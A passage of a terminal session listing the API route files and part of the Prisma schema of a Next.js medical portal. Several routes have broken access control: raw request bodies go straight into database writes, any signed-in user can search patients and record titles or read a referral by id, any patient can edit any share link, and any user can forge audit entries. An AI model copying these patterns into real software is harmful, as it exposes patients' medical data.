    const entry = await prisma.appointmentWaitlist.create({
      data: {
        patientId: patient?.id ?? body.patientId,
        doctorId: body.doctorId,
        desiredDate: new Date(body.desiredDate),
        notes: body.notes,
        status: WaitlistStatus.WAITING
      }
    });
    return NextResponse.json(entry, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create waitlist entry");
  }
}

$ cat /home/user/dev/medportal/app/api/medical-records/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { medicalRecords: true } });
      return NextResponse.json(patient?.medicalRecords ?? []);
    }
    if (![Role.ADMIN, Role.DOCTOR, Role.NURSE].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const records = await prisma.medicalRecord.findMany({ include: { patient: true, doctor: true } });
    return NextResponse.json(records);
  } catch (error) {
    return apiError(error, "Unable to fetch records");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.NURSE, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const record = await prisma.medicalRecord.create({ data: body });
    return NextResponse.json(record, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create record");
  }
}

$ cat /home/user/dev/medportal/app/api/medical-records/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const record = await prisma.medicalRecord.update({ where: { id: params.id }, data: body });
    return NextResponse.json(record);
  } catch (error) {
    return apiError(error, "Unable to update record");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.medicalRecord.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete record");
  }
}

$ cat /home/user/dev/medportal/app/api/prescriptions/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { prescriptions: true } });
      return NextResponse.json(patient?.prescriptions ?? []);
    }
    if (![Role.DOCTOR, Role.NURSE, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const prescriptions = await prisma.prescription.findMany({ include: { patient: true } });
    return NextResponse.json(prescriptions);
  } catch (error) {
    return apiError(error, "Unable to fetch prescriptions");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.NURSE, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const prescription = await prisma.prescription.create({ data: body });
    return NextResponse.json(prescription, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create prescription");
  }
}

$ cat /home/user/dev/medportal/app/api/prescriptions/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const prescription = await prisma.prescription.update({ where: { id: params.id }, data: body });
    return NextResponse.json(prescription);
  } catch (error) {
    return apiError(error, "Unable to update prescription");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.prescription.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete prescription");
  }
}

$ cat /home/user/dev/medportal/app/api/lab-orders/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/lab-orders/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.LAB_TECH].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const orders = await prisma.labOrder.findMany({ include: { patient: true, doctor: true, technician: true } });
    return NextResponse.json(orders);
  } catch (error) {
    return apiError(error, "Unable to fetch lab orders");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const order = await prisma.labOrder.create({ data: body });
    return NextResponse.json(order, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create lab order");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.LAB_TECH, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const order = await prisma.labOrder.update({ where: { id: params.id }, data: body });
    return NextResponse.json(order);
  } catch (error) {
    return apiError(error, "Unable to update lab order");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.labOrder.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete lab order");
  }
}

$ cat /home/user/dev/medportal/app/api/lab-results/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/lab-results/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { labResults: true } });
      return NextResponse.json(patient?.labResults ?? []);
    }
    if (![Role.DOCTOR, Role.LAB_TECH, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const results = await prisma.labResult.findMany({ include: { patient: true } });
    return NextResponse.json(results);
  } catch (error) {
    return apiError(error, "Unable to fetch lab results");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.LAB_TECH].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const result = await prisma.labResult.create({ data: body });
    return NextResponse.json(result, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create lab result");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.LAB_TECH].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const result = await prisma.labResult.update({ where: { id: params.id }, data: body });
    return NextResponse.json(result);
  } catch (error) {
    return apiError(error, "Unable to update lab result");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.LAB_TECH].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.labResult.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete lab result");
  }
}

$ cat /home/user/dev/medportal/app/api/lab-results/upload/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { LabResultStatus, Role } from "@prisma/client";

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.LAB_TECH, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const technician = await prisma.labTechnician.findUnique({ where: { userId: user.id } });
    const labResult = await prisma.labResult.update({
      where: { id: body.labResultId },
      data: {
        status: body.markCompleted ? LabResultStatus.PENDING_REVIEW : undefined,
        attachmentUrl: body.fileUrl ?? undefined
      }
    });
    await prisma.labAttachment.create({
      data: {
        labResultId: labResult.id,
        technicianId: technician?.id ?? body.technicianId,
        fileName: body.fileName,
        fileType: body.fileType ?? "application/pdf",
        fileUrl: body.fileUrl ?? `/uploads/${body.fileName}`
      }
    });
    return NextResponse.json(labResult);
  } catch (error) {
    return apiError(error, "Unable to upload lab result");
  }
}

$ cat /home/user/dev/medportal/app/api/messages/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/messages/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";

export async function GET() {
  try {
    const user = await requireAuth();
    const messages = await prisma.message.findMany({
      where: { OR: [{ senderId: user.id }, { recipientId: user.id }] },
      orderBy: { createdAt: "desc" }
    });
    return NextResponse.json(messages);
  } catch (error) {
    return apiError(error, "Unable to fetch messages");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    const body = await request.json();
    const message = await prisma.message.create({
      data: {
        senderId: user.id,
        recipientId: body.recipientId,
        patientId: body.patientId,
        doctorId: body.doctorId,
        content: body.content
      }
    });
    return NextResponse.json(message, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to send message");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    const existing = await prisma.message.findUnique({ where: { id: params.id } });
    if (!existing || (existing.recipientId !== user.id && existing.senderId !== user.id)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const message = await prisma.message.update({ where: { id: params.id }, data: body });
    return NextResponse.json(message);
  } catch (error) {
    return apiError(error, "Unable to update message");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    await prisma.message.deleteMany({ where: { id: params.id, senderId: user.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete message");
  }
}

$ cat /home/user/dev/medportal/app/api/notifications/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/notifications/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { NotificationType, Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    const notifications = await prisma.notification.findMany({ where: { userId: user.id }, orderBy: { createdAt: "desc" } });
    return NextResponse.json(notifications);
  } catch (error) {
    return apiError(error, "Unable to fetch notifications");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.LAB_TECH].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const notification = await prisma.notification.create({
      data: {
        userId: body.userId,
        title: body.title,
        description: body.description,
        type: body.type ?? NotificationType.SYSTEM,
        link: body.link
      }
    });
    return NextResponse.json(notification, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create notification");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    const body = await request.json();
    const existing = await prisma.notification.findUnique({ where: { id: params.id } });
    if (!existing || existing.userId !== user.id) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const notification = await prisma.notification.update({
      where: { id: params.id },
      data: body
    });
    return NextResponse.json(notification);
  } catch (error) {
    return apiError(error, "Unable to update notification");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    await prisma.notification.deleteMany({ where: { id: params.id, userId: user.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete notification");
  }
}

$ cat /home/user/dev/medportal/app/api/search/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";

export async function GET(request: Request) {
  try {
    await requireAuth();
    const { searchParams } = new URL(request.url);
    const query = searchParams.get("q") ?? "";
    const filter = searchParams.get("type") ?? "all";

    const results: Array<{ id: string; label: string; type: string; meta: string }> = [];

    if (filter === "all" || filter === "patient") {
      const patients = await prisma.patient.findMany({
        where: {
          OR: [
            { firstName: { contains: query, mode: "insensitive" } },
            { lastName: { contains: query, mode: "insensitive" } },
            { email: { contains: query, mode: "insensitive" } }
          ]
        },
        take: 5
      });
      patients.forEach((patient) => {
        results.push({ id: patient.id, label: `${patient.firstName} ${patient.lastName}`, type: "patient", meta: patient.city ?? "" });
      });
    }

    if (filter === "all" || filter === "doctor") {
      const doctors = await prisma.doctor.findMany({
        where: {
          OR: [
            { specialty: { contains: query, mode: "insensitive" } },
            { user: { name: { contains: query, mode: "insensitive" } } }
          ]
        },
        include: { user: true },
        take: 5
      });
      doctors.forEach((doctor) => {
        results.push({ id: doctor.id, label: doctor.user.name, type: "doctor", meta: doctor.specialty });
      });
    }

    if (filter === "all" || filter === "record") {
      const records = await prisma.medicalRecord.findMany({
        where: { title: { contains: query, mode: "insensitive" } },
        include: { patient: true },
        take: 5
      });
      records.forEach((record) => {
        results.push({ id: record.id, label: record.title, type: "record", meta: `Patient: ${record.patient.firstName} ${record.patient.lastName}` });
      });
    }

    return NextResponse.json(results);
  } catch (error) {
    return apiError(error, "Unable to run search");
  }
}

$ cat /home/user/dev/medportal/app/api/share-links/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/share-links/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role, ShareLinkStatus } from "@prisma/client";
import { randomBytes } from "crypto";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { shareLinks: true } });
      return NextResponse.json(patient?.shareLinks ?? []);
    }
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const links = await prisma.medicalShareLink.findMany({ include: { patient: true } });
    return NextResponse.json(links);
  } catch (error) {
    return apiError(error, "Unable to fetch share links");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.PATIENT) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const patient = await prisma.patient.findUnique({ where: { userId: user.id } });
    const body = await request.json();
    const link = await prisma.medicalShareLink.create({
      data: {
        patientId: patient?.id ?? body.patientId,
        token: randomBytes(12).toString("hex"),
        expiresAt: body.expiresAt ? new Date(body.expiresAt) : new Date(Date.now() + 1000 * 60 * 60 * 24),
        status: ShareLinkStatus.ACTIVE
      }
    });
    return NextResponse.json(link, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create share link");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role, ShareLinkStatus } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.PATIENT, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const link = await prisma.medicalShareLink.update({
      where: { id: params.id },
      data: {
        status: body.status as ShareLinkStatus,
        expiresAt: body.expiresAt ? new Date(body.expiresAt) : undefined
      }
    });
    return NextResponse.json(link);
  } catch (error) {
    return apiError(error, "Unable to update share link");
  }
}

$ cat /home/user/dev/medportal/app/api/vitals/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/vitals/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { vitals: true } });
      return NextResponse.json(patient?.vitals ?? []);
    }
    if (![Role.NURSE, Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const vitals = await prisma.vital.findMany({ include: { patient: true, nurse: true } });
    return NextResponse.json(vitals);
  } catch (error) {
    return apiError(error, "Unable to fetch vitals");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.NURSE, Role.DOCTOR].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const vital = await prisma.vital.create({ data: body });
    return NextResponse.json(vital, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create vital");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.NURSE, Role.DOCTOR].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const vital = await prisma.vital.update({ where: { id: params.id }, data: body });
    return NextResponse.json(vital);
  } catch (error) {
    return apiError(error, "Unable to update vital");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.NURSE, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.vital.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete vital");
  }
}

$ cat /home/user/dev/medportal/app/api/referrals/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/referrals/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role, ReferralStatus } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }

    const referrals = await prisma.referral.findMany({
      include: {
        patient: true,
        fromDoctor: { include: { user: true } },
        toDoctor: { include: { user: true } }
      },
      orderBy: { createdAt: "desc" }
    });
    return NextResponse.json(referrals);
  } catch (error) {
    return apiError(error, "Unable to fetch referrals");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.DOCTOR) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const doctor = await prisma.doctor.findUnique({ where: { userId: user.id } });
    const referral = await prisma.referral.create({
      data: {
        patientId: body.patientId,
        fromDoctorId: doctor?.id ?? body.fromDoctorId,
        toDoctorId: body.toDoctorId,
        reason: body.reason,
        notes: body.notes,
        status: body.status ?? ReferralStatus.PENDING,
        expiresAt: body.expiresAt ? new Date(body.expiresAt) : null
      }
    });
    return NextResponse.json(referral, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create referral");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET(_: Request, { params }: { params: { id: string } }) {
  try {
    await requireAuth();
    const referral = await prisma.referral.findUnique({
      where: { id: params.id },
      include: {
        patient: true,
        fromDoctor: { include: { user: true } },
        toDoctor: { include: { user: true } }
      }
    });
    return NextResponse.json(referral);
  } catch (error) {
    return apiError(error, "Unable to fetch referral");
  }
}

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const referral = await prisma.referral.update({ where: { id: params.id }, data: body });
    return NextResponse.json(referral);
  } catch (error) {
    return apiError(error, "Unable to update referral");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.referral.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete referral");
  }
}

$ cat /home/user/dev/medportal/app/api/refill-requests/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/refill-requests/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { RefillRequestStatus, Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { refillRequests: true } });
      return NextResponse.json(patient?.refillRequests ?? []);
    }
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const requests = await prisma.prescriptionRefillRequest.findMany({ include: { prescription: true, patient: true } });
    return NextResponse.json(requests);
  } catch (error) {
    return apiError(error, "Unable to fetch refill requests");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const patient = await prisma.patient.findUnique({ where: { userId: user.id } });
    const requestRecord = await prisma.prescriptionRefillRequest.create({
      data: {
        prescriptionId: body.prescriptionId,
        patientId: patient?.id ?? body.patientId,
        doctorId: body.doctorId,
        requestedById: user.id,
        message: body.message,
        status: RefillRequestStatus.PENDING
      }
    });
    return NextResponse.json(requestRecord, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create refill request");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { RefillRequestStatus, Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const requestRecord = await prisma.prescriptionRefillRequest.update({
      where: { id: params.id },
      data: {
        status: body.status as RefillRequestStatus,
        denialReason: body.denialReason,
        decisionById: user.id,
        decidedAt: new Date()
      }
    });
    return NextResponse.json(requestRecord);
  } catch (error) {
    return apiError(error, "Unable to update refill request");
  }
}

$ cat /home/user/dev/medportal/app/api/audit-logs/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const logs = await prisma.auditLog.findMany({ include: { user: true, patient: true }, orderBy: { createdAt: "desc" }, take: 200 });
    return NextResponse.json(logs);
  } catch (error) {
    return apiError(error, "Unable to fetch audit logs");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    const body = await request.json();
    const log = await prisma.auditLog.create({
      data: {
        userId: user.id,
        patientId: body.patientId,
        action: body.action,
        resourceType: body.resourceType,
        resourceId: body.resourceId,
        details: body.details
      }
    });
    return NextResponse.json(log, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to write audit log");
  }
}

$ cat /home/user/dev/medportal/app/api/bulk-imports/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/bulk-imports/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { BulkImportStatus, Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const jobs = await prisma.bulkImportJob.findMany({ orderBy: { createdAt: "desc" } });
    return NextResponse.json(jobs);
  } catch (error) {
    return apiError(error, "Unable to fetch imports");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const admin = await prisma.adminProfile.findUnique({ where: { userId: user.id } });
    const job = await prisma.bulkImportJob.create({
      data: {
        adminId: admin?.id ?? body.adminId,
        fileName: body.fileName,
        status: body.status ?? BulkImportStatus.PENDING,
        totalRows: body.totalRows
      }
    });
    return NextResponse.json(job, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create import job");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const job = await prisma.bulkImportJob.update({ where: { id: params.id }, data: body });
    return NextResponse.json(job);
  } catch (error) {
    return apiError(error, "Unable to update import job");
  }
}

$ cat /home/user/dev/medportal/app/api/departments/route.ts && echo "---SEPARATOR---" && cat /home/user/dev/medportal/app/api/departments/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    await requireAuth();
    const departments = await prisma.department.findMany({ include: { doctors: true, nurses: true } });
    return NextResponse.json(departments);
  } catch (error) {
    return apiError(error, "Unable to fetch departments");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const department = await prisma.department.create({ data: body });
    return NextResponse.json(department, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create department");
  }
}
---SEPARATOR---
import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const department = await prisma.department.update({ where: { id: params.id }, data: body });
    return NextResponse.json(department);
  } catch (error) {
    return apiError(error, "Unable to update department");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.department.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete department");
  }
}

$ cat /home/user/dev/medportal/prisma/schema.prisma

generator client {
  provider = "prisma-client-js"
}

datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}

enum AppointmentStatus {
  SCHEDULED
  COMPLETED
  CANCELLED
  PENDING
  WAITLISTED
}

enum LabResultStatus {
  NORMAL
  ATTENTION
  CRITICAL
  PENDING_REVIEW
}

enum LabOrderStatus {
  PENDING
  IN_PROGRESS
  COMPLETED
  CANCELLED
}

enum NotificationType {
  APPOINTMENT
  LAB_RESULT
  PRESCRIPTION
  MESSAGE
  SYSTEM
  REFERRAL
}

enum Role {
  PATIENT
  DOCTOR
  NURSE
  LAB_TECH
  ADMIN
}

enum ReferralStatus {
  PENDING
  ACCEPTED
  COMPLETED
  DECLINED
}

enum RefillRequestStatus {
  PENDING
  APPROVED
  DENIED
}

enum WaitlistStatus {
  WAITING
  OFFERED
  BOOKED
  CANCELLED
}

enum ShareLinkStatus {
  ACTIVE
  EXPIRED
  REVOKED
}

enum AuditAction {
  VIEW_RECORD
  DOWNLOAD_RECORD
  SHARE_LINK
  UPDATE_RECORD
}

enum BulkImportStatus {
  PENDING
  PROCESSING
  COMPLETED
  FAILED
}

model User {
  id               String           @id @default(cuid())
  name             String
  email            String           @unique
  password         String
  role             Role             @default(PATIENT)
  patientProfile   Patient?
